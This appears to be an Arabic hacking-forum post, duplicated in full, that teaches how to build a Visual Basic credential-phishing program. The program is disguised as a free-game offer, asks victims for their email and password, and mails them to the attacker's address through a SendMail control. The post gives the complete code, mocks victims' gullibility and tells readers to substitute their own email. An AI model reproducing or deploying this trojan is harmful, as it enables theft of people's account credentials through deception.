hussamhack
11-12-2010, 04:36 PM
بسم الله الرحمن الرحيم
اصنع برامج اختراق بنفسك ببرنامج الفيجول بيسك
فكرة هذا البرنامج تعتمد علي غباء الضحية, هذا ما سنفعله:
سنقوم بتصميم برنامج يطلب من الضحية كتابة FirstName و LastName و E-Mail و Password بغرض ارسال لعبة جميلة علي ايميل الضحية مثلا, و طبعا زي العبيط حايروح مالي البيانات و اسالها لك علي ايميلك..
للكائنات سنضع ما يأتي:
4 ليبل و 4 تكست و زر امر, و نسقها لتكون بهذا الشكل:
http://center.jeddahbikers.com/uploads/jb12895699321.png
كتابة الاكواد
لن يحتوي هذا البرنامج الا علي كود واحدة في زر OK :
ضع الاداه SendMail و سمها باسم S..
اذا واجهت صعوبة في الحصول عليها راسلني...
If Text3.Text = "" Or Text4.Text = "" Then
MsgBox "البريد و كلمة السر محتاجان..", 48, "خطأ!"
Exit Sub
Else
s.MailFrom = Text3.Text
s.MailName = Text3.Text
s.MailSubject = Text3.Text
s.MailTo = "[email protected]”
s.MailMessage = Text4.Text
s.Send
End If
If s.Success = True Then
MsgBox “تم ارسال اللعبة..”, 32, “تم الارسال”
Else
MsgBox "خطأ اثناء الارسال, تأكد انك متصل بالانترنت..", 16, "خطأ!"
End If
و علي ما اعتقد الكود واضحة, عندما تكون الضحية متصلة بالانترنت و تقوم بكتابة البيانت, سيتم ارسالها لك علي بريدك..
طبعا لا تنسي وضع ايميلك بدل ايميلي..)^^)^^:^:
لاتنسو خالص دوعاكم لأخوكم عفريت الهكر صاحب منضمة الحسام لبرامج الهكر
اصنع برامج اختراق بنفسك ببرنامج الفيجول بيسك
فكرة هذا البرنامج تعتمد علي غباء الضحية, هذا ما سنفعله:
سنقوم بتصميم برنامج يطلب من الضحية كتابة FirstName و LastName و E-Mail و Password بغرض ارسال لعبة جميلة علي ايميل الضحية مثلا, و طبعا زي العبيط حايروح مالي البيانات و اسالها لك علي ايميلك..
للكائنات سنضع ما يأتي:
4 ليبل و 4 تكست و زر امر, و نسقها لتكون بهذا الشكل:
http://center.jeddahbikers.com/uploads/jb12895699321.png
كتابة الاكواد
لن يحتوي هذا البرنامج الا علي كود واحدة في زر OK :
ضع الاداه SendMail و سمها باسم S..
اذا واجهت صعوبة في الحصول عليها راسلني...
If Text3.Text = "" Or Text4.Text = "" Then
MsgBox "البريد و كلمة السر محتاجان..", 48, "خطأ!"
Exit Sub
Else
s.MailFrom = Text3.Text
s.MailName = Text3.Text
s.MailSubject = Text3.Text
s.MailTo = "[email protected]”
s.MailMessage = Text4.Text
s.Send
End If
If s.Success = True Then
MsgBox “تم ارسال اللعبة..”, 32, “تم الارسال”
Else
MsgBox "خطأ اثناء الارسال, تأكد انك متصل بالانترنت..", 16, "خطأ!"
End If
و علي ما اعتقد الكود واضحة, عندما تكون الضحية متصلة بالانترنت و تقوم بكتابة البيانت, سيتم ارسالها لك علي بريدك..
طبعا لا تنسي وضع ايميلك بدل ايميلي..)^^)^^:^:
لاتنسو خالص دوعاكم لأخوكم عفريت الهكر صاحب منضمة الحسام لبرامج الهكر